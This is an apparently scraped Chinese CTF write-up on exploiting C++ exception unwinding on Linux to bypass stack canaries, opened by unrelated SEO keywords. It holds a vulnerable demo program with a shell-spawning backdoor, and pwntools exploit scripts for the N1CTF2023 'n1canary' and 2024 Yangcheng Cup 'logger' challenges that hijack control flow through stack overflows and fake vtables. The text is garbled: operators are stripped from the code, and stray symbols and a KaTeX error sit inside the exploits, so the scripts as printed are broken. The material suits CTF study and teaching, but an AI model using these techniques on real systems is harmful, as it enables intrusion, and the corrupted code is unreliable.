网站管理 设置开启,php网站制作流程,东莞关键词优化外包,怎么开发手机网站一、原理探究 C异常处理 本节内容针对 Linux 下的 C 异常处理机制#xff0c;重点在于研究如何在异常处理流程中利用溢出漏洞#xff0c;所以不对异常处理及 unwind 的过程做详细分析#xff0c;只做简单介绍
异常机制中主要的三个关键字#xff1a;throw 抛出异常#x…一、原理探究 C异常处理 本节内容针对 Linux 下的 C 异常处理机制重点在于研究如何在异常处理流程中利用溢出漏洞所以不对异常处理及 unwind 的过程做详细分析只做简单介绍
异常机制中主要的三个关键字throw 抛出异常try 包含异常模块, catch 捕捉抛出的异常它们一起构成了由 “抛出-捕捉-回退” 等步骤组成的整套异常处理机制
当一个异常被抛出时就会立即引发 C 的异常捕获机制。异常被抛出后如果在当前函数内没能被 catch该异常就会沿着函数的调用链继续往上抛在调用链上的每一个函数中尝试找到相应的 catch 并执行其代码块直到走完整个调用链。如果最终还是没能找到相应的 catch那么程序会调用 std::terminate()这个函数默认是把程序 abort
其中从程序抛出异常开始沿着函数的调用链找相应的 catch 代码块的整个过程叫作栈回退 stack unwind
回到对 C 异常处理机制进行利用的话题下面开始调试一个 demo 来加深对异常处理机制的理解目的是去验证下列两个想法的可行性
通过篡改 rbp 可以实现类似栈迁移的效果来控制程序执行流 ROP unwind 会检测在调用链上的函数里是否有 catch handler要有能捕捉对应类型异常的 catch 块通过劫持 ret 可以执行到目标函数的 catch 代码块但是前提是要需要拥有合法的 rbp demo 的源码如下
// exception.cpp // g exception.cpp -o exc -no-pie -fPIC #include stdio.h #include stdlib.h #include unistd.h
void backdoor() { try { printf(“We have never called this backdoor!”); } catch (const char *s) { printf(“[!] Backdoor has catched the exception: %s\n”, s); system(“/bin/sh”); } }
class x { public: char buf[0x10]; x(void) { // printf(“x:x() called!\n”); } ~x(void) { // printf(“x:~x() called!\n”); } };
void input() { x tmp; printf(“[!] enter your input:”); fflush(stdout); int count 0x100; size_t len read(0, tmp.buf, count); if (len 0x10) { throw “Buffer overflow.”; } printf(“[] input() return.\n”); }
int main() { try { input(); printf(“--------------------------------------\n”); throw 1; } catch (int x) { printf(“[-] Int: %d\n”, x); } catch (const char *s) { printf(“[-] String: %s\n”, s); } printf(“[] main() return.\n”); return 0; } 调试分析第一种利用方式 上述源码编译出来的可执行文件的保护如下开了 canary 保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)输入点 buf 距离 rbp 的距离是 0x30 所以测试输入长度分别为 0x31 和 0x39 的 PoC发现会报不同的 crash合理推测栈上的数据例如 ret, rbp会影响异常处理的流程
ve1kconwsl:~$ cyclic 48 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa ve1kconwsl:~$ cyclic 56 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa 能发现无论怎么样都不会输出程序里写在 input() 函数里的 [] input() return.
这是因为异常处理时从 __cxa_throw() 开始之后进行 unwind, cleanup, handler, 程序不会再执行发生异常所在函数的剩余部分会沿着函数调用链往回找能处理对应异常的最近的函数然后回退至此函数执行其 catch 块后跟着往下运行途径的函数的剩余部分也不会再执行自然不会执行到出现异常的函数的 throw 后面的语句更不会执行到这些函数的 ret
这里就能抛出一个思考了对 canary 的检测一般在最后的函数返回处那么在执行异常处理流程时不就能跳过 stack_check_fail() 这个调用了嘛 下面利用 poc1 padding ‘\x01’ 覆盖 rbp 值可以将断点断在 call _read 指令后面一点的位置这样就能断下来了在这里观察到 rbp 的低一字节已被成功篡改为 ‘\x01’ 继续运行至程序报错的位置最后在 0x401506 这条 ret 指令处出了问题是错误的返回地址导致的记录下这个指令地址后续可以将断点打在这里观察是否能成功控制程序流 根据这个指令的地址可以在 IDA 中定位到这是异常处理结束后最终的 ret 指令所以可以确定是在执行 main 的 handler 时 crash那么上述报错出现的原因其实就很明显了是因为最后执行的 leave; ret 使得 ret 的地址变成了 [rbp8]导致不合法的返回地址。这也意味着在 handler 里就能够完成栈迁移所以可以尝试通过篡改 rbp 实现控制程序执行提前布置好的 ROP 链 接下来尝试劫持程序去执行 GOT 表里的函数
.got.plt:0000000000404040 off_404040 dq offset fflush ; DATA XREF: _fflush4↑r .got.plt:0000000000404048 off_404048 dq offset read ; DATA XREF: _read4↑r .got.plt:0000000000404050 off_404050 dq offset puts ; DATA XREF: _puts4↑r .got.plt:0000000000404058 off_404058 dq offset __cxa_end_catch 利用 poc2 padding p64(0x404050-0x8)运行到上述断点处发现成功调用到了 puts 函数 证明第一种利用方式可行
关于第一种利用方式的后续思考 但这种利用方式只适用于 “通过将 old_rbp 存储于栈中来保留现场” 的函数调用约定以及需要出现异常的函数的 caller function 要存在处理对应异常的代码块否则也会走到 terminate
为了调试上述说法对 demo 作了修改主要改动如下
void test() { x tmp; printf(“[!] enter your input:”); fflush(stdout); int count 0x100; size_t len read(0, tmp.buf, count); if (len 0x10) { throw “Buffer overflow.”; } printf(“[] test() return.\n”); }
void input() { test(); printf(“[] input() return.\n”); } 这回同样是使用 poc2但 crash 了 对 demo 重新修改的部分如下
void input() { try { test(); } catch (const char *s) { printf(“[-] String(From input): %s\n”, s); } printf(“[] input() return.\n”); } 复现成功这次是在 input 的 handler 里被劫持而非在 main 了 但是噢如果是通过打返回地址劫持到另外一个函数的异常处理模块是没有 “出现异常的函数的 caller function 要存在处理对应异常的代码块” 这层限制的但这也是后话了
调试分析第二种利用方式 由于调用链 __cxa_throw - _Unwind_RaiseException在 unwind 函数里会取运行时栈上的返回地址 callee ret 来对整个调用链进行检查它会在链上的函数里搜索 catch handler若所有函数中都无对应类型的 catch 块就会调用 __teminate() 终止进程。
利用 poc3 poc2 ‘b’*8 调试一下后面的 unwind 函数的过程一直运行至 _Unwind_RaiseException463 发生了 crash合理猜测是在这调用的函数里作的检测所有可以观察下此时传参的情况下断方式是 b *(_Unwind_RaiseException463) 这个地方循环执行了几次
第一次rdx - 0x4000000000000000 第二次rdx - 0x4013a7 (input()162) 第三次rdx - 0x6262626262626262 (‘bbbbbbbb’) 再琢磨下异常处理机制就能够发现另外一个利用点就是假如函数A内有能够处理对应异常的 catch 块是否可以通过影响运行时栈的函数调用链即更改某 callee function ret 地址从而能够成功执行到函数A的 handler 呢
下面尝试通过直接劫持 input() 函数的 ret, 可以发现在源码中有定义 backdoor() 函数但程序中并没有一处存在对该后门函数的引用利用 poc4 poc2 p64(0x4012921) 尝试触发后门
这里将返回地址填充成了 backdoor() 函数里 try 代码块里的地址它是一个范围经测试能够成功利用的是一个左开右不确定的区间x
.text:0000000000401283 lea rax, format ; “We have never called this backdoor!” .text:000000000040128A mov rdi, rax ; format .text:000000000040128D mov eax, 0 .text:0000000000401292 ; try { .text:0000000000401292 call _printf .text:0000000000401292 ; } // starts at 401292 .text:0000000000401297 jmp short loc_4012FF 可以看见程序执行了后门函数的异常处理模块复现成功成功执行到了一个从未引用过的函数而且程序从始至终都是开了 canary 保护的这直接造成的栈溢出却能绕过 stack_check_fail() 这个函数对栈进行检测 exp 如下
from pwn import * context(os‘linux’, arch‘amd64’, log_level‘debug’) context.terminal [“tmux”, “splitw”, “-h”] pwnfile ‘./exc’ p process(pwnfile)
def debug(contentNone): if content is None: gdb.attach§ pause() else: gdb.attach(p, content) pause()
def exp(): # debug(‘b *0x401371’) # call _read # b __cxa_throwplt # b *0x401506 # handler ret # b *(_Unwind_RaiseException463) # check ret test ‘a’*5 padding ‘a’*0x30 # poc padding ‘\n’ poc1 padding ‘\x01’ poc2 padding p64(0x404050-0x8) poc3 poc2 ‘b’*8 poc4 poc2 p64(0x4012921) p.sendafter(‘input:’, poc4)
exp() p.interactive() 二、N1CTF2023 - n1canary 简要分析 程序保护如下
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)这是一道非常具有迷惑性的题大致意思是出题人自行实现了一个 canary并将它布置在系统 canary 上面 0x10 的地方但所有 canary 相关的检测其实都是绕不过的漏洞点是 launch() 函数处的栈溢出触发点是 raise() 函数处的异常抛出异常未能正确被捕获并处理最终是能够避开对栈上 canary 的验证并利用析构函数 ROP
程序流分析 main() 函数逻辑如下
int __fastcall main(int argc, const char **argv, const char **envp) { __int64 v3; // rdx __int64 v4; // rax _QWORD v6[3]; // [rsp0h] [rbp-18h] BYREF
v6[1] __readfsqword(0x28u); setbuf(stdin, 0LL, envp); setbuf(stdout, 0LL, v3); init_canary(); // canary init std::make_unique((__int64)v6); // v6 - vtable for BOFApp16 (0x4ed510) v4 std::unique_ptr::operator-((__int64)v6); // v4 v6 ((void (__fastcall **)(__int64))(*(_QWORD *)v4 16LL))(v4); // call 0x403552 (BOFApp::launch()) std::unique_ptr::~unique_ptr((__int64)v6); return 0; } 初始化 sys_canary 并读取用户输入的64个字节作为 user_canary用来生成自定义 canary第一个输入点的 user_canary 是往 .bss 段上写的
__int64 init_canary(void) { if ( getrandom(sys_canary, 64LL, 0LL) ! 64 ) raise(“canary init error”); puts(“To increase entropy, give me your canary”); return readallunsigned long long [8](user_canary); }
__int64 __fastcall ProtectedBuffer64ul::getCanary(unsigned __int64 a1) { return user_canary[(a1 4) 7] ^ sys_canary[(a1 4) 7]; } 这段代码实现了 BOFApp 类的构造函数首先调用基类构造函数实现了 BOFApp 对象基类部分的初始化然后将 BOFApp 对象的虚函数表指针设置为 off_4ED510使得对象能够正确调用其虚函数。通过调试发现赋值语句执行前 this - vtable for UnsafeApp16执行后 this - vtable for BOFApp16
void __fastcall BOFApp::BOFApp(BOFApp *this) { UnsafeApp::UnsafeApp(this); *(_QWORD *)this off_4ED510; } 创建一个 BOFApp 类的实例然后调用 BOFApp 的构造函数初始化对象跟进后面那个函数发现进行了 *a1 v1 的操作
__int64 __fastcall std::make_unique(__int64 a1) { BOFApp *v1; // rbx
v1 (BOFApp *)operator new(8uLL); *(_QWORD *)v1 0LL; BOFApp::BOFApp(v1); std::unique_ptr::unique_ptrstd::default_delete,void(a1, v1); return a1; } 执行完 std::make_unique((__int64)v6) 后栈变量 v6 被重新赋值 于是接下来调用的是 BOFApp::launch() 函数
pwndbg x/20gx 0x4ed5100x10 0x4ed520 vtable for BOFApp32: 0x0000000000403552 0x0000000000000000 在 IDA 里计算也是一样的执行 ((void (__fastcall **)(__int64))((_QWORD *)v4 0x10LL))(v4); 语句即 call *(0x4ED5100x10)
.data.rel.ro:00000000004ED510 off_4ED510 dq offset _ZN6BOFAppD2Ev .data.rel.ro:00000000004ED510 ; DATA XREF: BOFApp::BOFApp(void)16↑o .data.rel.ro:00000000004ED510 ; BOFApp::~BOFApp()9↑o .data.rel.ro:00000000004ED510 ; BOFApp::~BOFApp() .data.rel.ro:00000000004ED518 dq offset _ZN6BOFAppD0Ev ; BOFApp::~BOFApp() .data.rel.ro:00000000004ED520 dq offset _ZN6BOFApp6launchEv ; BOFApp::launch(void) 最后是对象的析构函数里面要重点关注的函数的路径是 std::unique_ptr::~unique_ptr() -- std::default_delete::operator()(BOFApp*)这里存在函数指针调用这意味着只需要控制 a2 的值就能控制程序流
__int64 __fastcall std::default_delete::operator()(__int64 a1, __int64 a2) { __int64 result; // rax
result a2; if ( a2 ) return ((__int64 (__fastcall **)(__int64))((_QWORD *)a2 8LL))(a2); return result; } 通过逆向分析和调试可知参数 a2 与前面提到的栈变量 v6 有关所以将断点打在 0x40340D正常输入调试一下看传参情况 查看虚函数表指针 0x8 位置处指向什么函数0x4038b8 再把断点打在 0x403909看到这里确实调用到了上述函数
漏洞点分析跟踪调用链 第二个输入点存在栈溢出调用链是 BOFApp::launch(void) -- ProtectedBuffer64ul::mutBOFApp::launch(void)::{lambda(char *)#1}(BOFApp::launch(void)::{lambda(char *)#1} const) -- BOFApp::launch(void)::{lambda(char *)#1}::operator()(char *)
__int64 __fastcall BOFApp::launch(void)::{lambda(char *)#1}::operator()( __int64 a1, __int64 a2, int a3, int a4, int a5, int a6) { return _isoc23_scanf((unsigned int)“%[^\n]”, a2, a3, a4, a5, a6, a2, a1); } 下列是 GPT 的解释
_isoc23_scanf 根据格式字符串读取输入。格式字符串 “%[^\n]” 表示读取所有非换行符的字符直到遇到换行符为止。这样写其实就相当于 c 的 gets() 了。 输入存储将读取的输入存储在 a2 指向的缓冲区中。 a3, a4, a5, a6 是额外参数可能用于其他目的。 观察下这个 _isoc23_scanf() 函数断点打在 0x403547 处观察数据写入的位置
计算输入点与目标指针的距离为 0x70 所以可以利用上述栈溢出去修改自定义 canary来触发异常栈回退避开对自定义 canary 和系统 canary 的检测最后调用到析构函数
这样下来思路就理清楚了在 user_canary 处伪造虚函数表指向后门函数然后利用溢出修改存储在栈上的 BOFApp 对象的虚函数表指针即变量 v6在此过程中自定义 canary 一定会被篡改程序将会在 raise() 函数里抛出异常这里是漏洞的触发点调用链如下 BOFApp::launch(void) -- ProtectedBuffer64ul::mutBOFApp::launch(void)::{lambda(char *)#1}(BOFApp::launch(void)::{lambda(char )#1} const) -- ProtectedBuffer64ul::check(void) -- raise(char const)
bool __fastcall ProtectedBuffer64ul::check(unsigned __int64 a1) { __int64 v1; // rbx bool result; // al
v1 (_QWORD )(a1 0x48); result v1 ! ProtectedBuffer64ul::getCanary(a1); if ( result ) raise(* stack smash detected ***); return result; }
void __fastcall __noreturn raise(const char *a1) { std::runtime_error *exception; // rbx
puts(a1); exception (std::runtime_error *)_cxa_allocate_exception(0x10uLL); std::runtime_error::runtime_error(exception, a1); _cxa_throw(exception, (struct type_info *)typeinfo for’std::runtime_error, std::runtime_error::~runtime_error); } 异常处理流程最终调用到的析构函数处存在指针调用但此时指针已被我们提前利用溢出数据控好了造成任意代码执行
可以直接动调一下 raise() 函数内部然后再看看函数返回哪里呢。可以在一些地方下断点调试看看比如 0x403291 处的抛出异常0x403432 处的调用析构函数最后在 0x4038fc 出现 crash原因是不合法的 RAX它的值是 BOFApp 类对象指针 v6这是可以利用溢出写到那的所以是可控的继续往下看后面的汇编会发现只要控了 RAX 就能够控到 RDX在最后的 call rdx; 处便能造成任意代码执行 由于 user_canary 可控可以尝试在这里伪造虚函数表并将指针劫持到这这是构造好的 exp 运行到此处时的参数情况 成功执行到后门函数 关于本题的其他思考 另外提一嘴上面提到了避开 canary 检测执行到析构函数笔者是这样理解的在程序正常运行时应该是在执行完 launch() 函数后执行析构函数但在 raise() 函数里却有异常被抛出而且回溯了整条函数调用链包括 raise() 函数本身都没看见有能处理此异常的 catch 代码块合理猜测最终将会由 handler 执行析构函数在此过程中自然也绕过了程序自身的 __stack_chk_fail_local 检测
其实在创建对象的函数里创建对象时会有构造函数函数返回处会有析构函数。但当该函数运行到一半就抛出了异常时若在当前函数内不能正常捕捉异常那这个函数剩下的部分便不会再被执行到了自然也不会运行到函数返回处的那个析构函数。但是程序依旧是需要去运行析构函数销毁对象的达到释放资源的目的这种情况下应该是在 handler 中调用到析构函数的
漏洞利用 最终的 exp 如下还有一点要注意的是中途覆盖到的函数返回地址是不能乱填的具体原因详见前面的 “原理探究”与 unwind() 函数里的检测有关所以 ret 填回原来的 0x403407
from pwn import * context(os‘linux’, arch‘amd64’, log_level‘debug’) context.terminal [“tmux”, “splitw”, “-h”] pwnfile ‘./n1canary’ p process(pwnfile)
def debug(contentNone): if content is None: gdb.attach§ pause() else: gdb.attach(p, content) pause()
def exp(): # debug(‘b *0x403547’) # b *0x40340D # Destructor # b *0x403909 # pointer call # b *0x403291 # raise-throw # b *0x403432 # main146 call std::unique_ptrBOFApp, std::default_delete ::~unique_ptr() # b *0x4038fc backdoor 0x403387 user_canary 0x4F4AA0 payload p64(user_canary8) p64(backdoor)*2 payload payload.ljust(0x40, ‘a’) p.sendafter(‘canary\n’, payload)
payload a*(0x70-0x8)
payload p64(0x403407) # ret
# payload a*(0x8)
payload p64(user_canary) # BOFApp *v6
# p.sendlineafter( to pwn :)\n, payload)exp() p.interactive() 成功劫持到后门后门命令执行了 /readflag 三、2024年”羊城杯“粤港澳大湾区网络安全大赛 - logger 来自出题人的碎碎念 笔者作为 “2024羊城杯” PWN 方向出题人自然要顺带唠一唠这道自己出的题目虽谈不上巧妙水平有限但也有不少师傅反馈说受益匪浅
这道题从整体上来看算是中等难度属于一道机制题若是将上面的知识都了解透彻后会做得很顺畅
由于从现在网上公开的文章里能看到很多师傅都对这道题做了详细的分析所以笔者主要讲点有意思的地方不至于让读了文章的师傅空手而归打算结合源码上帝视角 XD和逆向分析的效果对这道题进行剖析
题目分析漏洞分析 首先这道题的创新点在于对抛出异常语句的篡改最终通过溢出漏洞劫持到有后门的处理块 getshell
细心的师傅可能一下就能发现trace 功能的实现里存在数组 oob 漏洞毕竟这个 怎么看都显得十分拙劣 那上述越界能起到什么作用呢byte_404020[] 数据的大小是 0x80若能写入九次0~8 0x10 大小的数据恰好能改掉下面 src[] 数组这个数组存放了一个字符串 Buffer Overflow 结合源码来看这个字符串的作用是在检测到溢出的时抛出 Buffer Overflow 字符串而正常来说是由下面的 catch 块来处理这个异常它接受的是 const char *s 类型的异常 warn 函数里存在大量的溢出写紧随其后的是检查 read 的返回值实际写入的字节数那其实就在通过对 v0 的检测来判断是否有栈溢出了所以在检测到存在溢出风险时会执行 if 模块抛出异常 然后被抛出的异常字符串就会被上面提到的 catch 块处理效果是输出报错信息 [-] An exception of type String variable “Buffer Overflow” was caught… 但是假如说若能够劫持到别的 catch 块进行处理呢笔者预置了一个后门函数其 catch (const char *s) 也能够捕获字符串类型的异常劫持到这里即可源码如下 后门的 try 块地址是 0x401BC2在下面有对 _system 的调用 比较有意思的是 IDA 似乎对异常处理 catch 模块的解析有问题可见对 strHandler() 函数的反编译效果如下可以对比上面提供的源码
所以解题时只能够查看对 _system 函数的交叉引用然后定位到具体位置后看汇编进行分析了 漏洞利用 梳理完毕现在思路明确了先是通过数组越界漏洞劫持字符串为 /bin/sh\x00然后通过溢出漏洞劫持到后门 catch 进行异常处理即 0x401BC21 的位置最终执行到 system(/bin/sh)
exp 如下
from pwn import * context(os‘linux’, arch‘amd64’, log_level‘debug’) context.terminal [“tmux”, “splitw”, “-h”] pwnfile ‘./pwn’ p process(pwnfile)
p remote(‘’, )
def debug(contentNone): if content is None: gdb.attach§ pause() else: gdb.attach(p, content) pause()
def menu(index): p.sendlineafter(‘chocie:’, str(index))
def trace(content‘a’, judge‘n’): menu(1) p.sendlineafter(here: , content) p.sendlineafter(records? , judge)
def exp(): # debug(‘b *KaTeX parse error: Expected EOF, got # at position 31: …) #̲ call _read …rebase(0x2582)’) # b __cxa_throwplt
# payload a
for i in range(7):trace()
trace(a*0x10,n)
payload /bin/sh;
trace(payload)menu(2)
payload a*0x70
payload p64(0X404300)
payload p64(0x401BC21)
p.sendafter(Type your message here plz: , payload)exp() p.interactive()